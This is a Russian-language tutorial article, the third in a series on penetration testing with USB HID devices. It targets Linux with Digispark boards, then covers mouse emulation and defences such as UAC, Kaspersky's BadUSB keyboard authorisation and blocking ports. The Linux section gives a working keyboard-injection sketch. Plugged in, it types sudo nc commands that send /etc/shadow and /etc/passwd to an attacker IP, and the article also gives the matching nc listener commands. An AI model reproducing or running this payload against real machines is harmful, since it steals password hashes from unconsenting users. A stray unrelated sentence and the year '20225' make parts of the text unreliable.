USB HID устройства на службе пентестера. Часть 3

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

В этой, завершающей статье нашего цикла, посвященного использованию HID USB устройств для тестирования на проникновение мы рассмотрим вопросы использования наших устройств против ОС Linux и затем перейдем к тому, как можно защититься от таких атак.

Linux наше все

Операционные системы семейства Линукс в последние годы получают все большее распространение. С 20225 года ПО иностранного производства не должно использоваться в государственных учреждениях и объектах критической инфраструктуры. По факту это означает, что вездесущая винда рано или поздно будет заменена на отечественный Линукс. Несмотря на то, что в целом это достаточно позитивная новость, в контексте темы нашей статей Линукс не менее уязвим в USB HID атакам.

В случае, если у нас используется консоль или SSH клиент для работы с Линукс, мы можем реализовать атаки, аналогичные тем, что мы делали в предыдущей статье для Windows с помощью макетной платы Digispark. Напомню, что в отличие от Teensy, эта плата имеет меньший размер и скромные технические характеристики. Но для выполнения команд в консоли этого вполне достаточно.

Давайте напишем небольшой скетч, который будет воровать с машины пользователя файлы /etc/shadow и /etc/passwd. Сразу сделаю небольшое допущение: будем считать, что на машине пользователя есть возможность выполнять любые команды под sudo и пароль не запрашивается. Такое не редкость, например в Astra Linux CE по умолчанию пароль для sudo не запрашивается.

Файлы мы будем воровать по сети, с помощью утилиты nc. Допустим, машина 192.168.222.160 это компьютер жертвы, а 192.168.222.151 это машина хакера. Тогда на машине хакера мы должны включить прослушивание порта 4444 для приема /etc/shadow и 4445 для приема /etc/passwd. Сделаем это с помощью следующих команд:

sudo nc -nlvp 4444 > shadow

sudo nc -nlvp 4445 > passwd

Таким образом, на порту 4444 мы будем ждать файл с хэшами паролей, а на 4445 список пользователей с их параметрами.

На машине жертвы для того, чтобы передать файлы нам необходимо выполнить следующие команды:

sudo nc -nv 192.168.222.151 4444 < /etc/shadow

sudo nc -nv 192.168.222.151 4445 < /etc/passwd

Теперь посмотрим как будет выглядеть наш скетч для Digispark, реализующий данную атаку:

 

#include "Keyboard.h"

 

#define PAYLOAD1 “sudo nc -nv 192.168.222.151 4444 < /etc/shadow”

#define PAYLOAD2 “sudo nc -nv 192.168.222.151 4445 < /etc/passwd”

 

void setup() {

 Keyboard.begin(); //Инициализация

Command(PAYLOAD1); //выполняем первую команду

Command(PAYLOAD2); //выполняем вторую

}

void loop() {

}

void Command(param) {

delay(500);

 Keyboard.print(param);

delay(500);

pressEnter();

} 

void pressEnter() {

 Keyboard.press(KEY_RETURN);

 delay(50);

 Keyboard.release(KEY_RETURN);

}

После подключения нашего устройства, в консоли будут выполнены данные команды и файлы будут успешно переданы на машину хакера.

Приручаем мышь

Материал этого раздела будет полезен как при тестировании Windows, так и при тестировании оконных оболочек Линукс. С помощью HID USB мы можем притвориться не только клавиатурой, но и мышью. При этом, мы можем полностью управлять перемещениями указателя мыши по экрану.

Это может потребоваться при автоматизации нажатий на кнопки в каком-либо оконном приложении. Так как мы не знаем, в каком именно месте экрана будет располагаться курсор при подключении нашего устройства, нам необходимо вначале переместить курсор в какой-либо угол экрана, например в точку 0,0 и затем уже из нее перемещаться в нужные точки экрана и там нажимать на клавиши мыши.

Пример скетча для DigiSpark, представленный ниже является демонстрационным. Он показывает, как можно управлять курсором по осям X, Y, выполнять прокрутку, нажимать на клавиши мыши.

#include <DigiMouse.h>

void setup() {

 DigiMouse.begin(); //Инциализация мыши

}

void loop() {

 DigiMouse.moveY(20); //Сместить мышь на 20 px по Y

 DigiMouse.delay(500); //Задержка

 DigiMouse.moveX(30); //Сместить мышь на 30 px по X

 DigiMouse.delay(500);

 DigiMouse.scroll(5); //Прокрутка

 DigiMouse.delay(500);

 DigiMouse.move(X, Y, scroll) //Также можно использовать это

 DigiMouse.delay(500);

 DigiMouse.setButtons(0); //Отпустить все

 DigiMouse.delay(500);

 DigiMouse.rightClick(); //Клик правой кнопкой мыши

 DigiMouse.delay(500);

 DigiMouse.leftClick(); //Клик левой кнопкой мыши

 DigiMouse.delay(500);

 DigiMouse.middleClick(); //Клик средней кнопкой мыши

 DigiMouse.delay(500);

}

 

Кстати, если вы подключите устройство к планшету под управлением Android, то приведенные в этой и предыдущей статьях скетчи будут пытаться выполниться и под этой ОС. Так что, пример с мышью можно настроить для работы в мобильных операционных системах.

 

Защита от HID USB

Как уже упоминалось в первой статье, атаки HID USB известны уже более десяти лет и для их предотвращения существуют определенные механизмы защиты. Прежде всего, для выполнения любой операции с правами локального администратора в Windows предусмотрен механизм UAC (User Account Control), который требует у пользователя подтверждения выполнения операции. Конечно, в сети можно найти много различных концептов механизмов обхода UAC, но в общем случае, предлагаемый по умолчанию, отрицательный ответ на запрос UAС может защитить от ряда атак, в том числе и от HID USB.

 

Защита на экране

Наше антивирусный вендор – Лаборатория Касперского, также не осталась в стороне и предложила в своем решении KES

Компонент Защита от атак BadUSB позволяет предотвратить подключение к компьютеру зараженных USB-устройств, имитирующих клавиатуру. Когда к компьютеру подключается USB-устройство, определенное операционной системой как клавиатура, агент антивируса предлагает пользователю ввести c этой клавиатуры или с помощью экранной клавиатуры (если она доступна) цифровой код, сформированный программой. Эта процедура называется авторизацией клавиатуры.

Если код введен правильно, программа сохраняет идентификационные параметры – VID/PID клавиатуры и номер порта, по которому она подключена, в списке авторизованных клавиатур. Авторизация клавиатуры при ее повторном подключении или перезагрузке операционной системы не требуется. Если цифровой код введен неправильно, программа формирует новый, у пользователя есть три попытки на ввод кода. После трех неудачных попыток ОС перестанет видеть неавторизованную клавиатуру. При повторном подключении клавиатуры или перезагрузке операционной системы программа снова предлагает пройти авторизацию клавиатуры.

Компонент Защита от атак BadUSB не устанавливается по умолчанию. Если вам нужен компонент Защита от атак BadUSB, вы можете добавить компонент в свойствах инсталляционного пакета перед установкой программы или измените состав компонентов программы после установки программы.

Важно понимать, что эффективность работы данного механизма защиты во многом зависит от сознательности самих пользователей. Ведь при желании, например с помощью социальной инженерии пользователя можно убедить вести код на экранной клавиатуре и авторизовать в ОС устройство, совершенно не похожее на клавиатуру, сказав что это какой-то сбой в системе.

Ну и завершая тему средств защиты хочу напомнить про оргмеры. Можно просто заблокировать все ненужные USB порты, как физически, так и логически. Работая с АСУ ТП мне приходилось видеть такую картину: на рабочем месте оператора системы были монитор, клавиатура и мышь, а системный блок находился в другом, закрытом помещении и у оператора не было никакой физической возможности подключить другое устройство, вместо клавиатуры.

Заключение

В этом цикле статьей я рассказал о том, что такое атаки с использованием HID USB устройств, как их реализовывать и чем они могут быть опасны. Также мы немного поговорили о механизмах защиты, позволяющих их предотвратить.

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам. Ближайшие уроки:

  • Основы безопасности автоматизированных систем управления технологическим процессом (АСУ ТП).

  • Концепции защиты инфраструктуры Zero trust network Acceess (ZTNA), Secure Access Service Edge (SASE), Defence-in-depth (DiD).

  • Криптография и алгоритмы асимметричной криптографии.

  • Криптографическая защита при разработке.

 

 

Источник: https://habr.com/ru/companies/otus/articles/758842/


Интересные статьи

Интересные статьи

Вместе с окончанием мартовского коммитфеста, закончился прием изменений в 16-ю версию. Пришла пора посмотреть, что в нем было нового и интересного. Надеюсь, что представленный материал вместе с преды...
Мне очень нравятся разные необычные устройства — некоторые из них, попавшие мне в руки, я коллекционирую. Но, конечно, количество классных девайсов просто огромно, так что поиграться в...
Сегодня, в третьей части серии материалов, посвящённых разработке серверов на Go, мы займёмся реализацией нашего REST-сервера с использованием Gin — одного из самых популярных веб-фреймво...
Публикуем вторую часть перевода материала, посвящённого пятёрке лучших JavaScript-инструментов для разработки клиентских частей веб-проектов. В первой части речь шла о библиотеке React и о фреймв...
Так как твердотельные накопители, основанные на технологии флэш-памяти, становятся основным средством постоянного хранения информации в дата-центрах, важно осознавать, насколько они надежны. На с...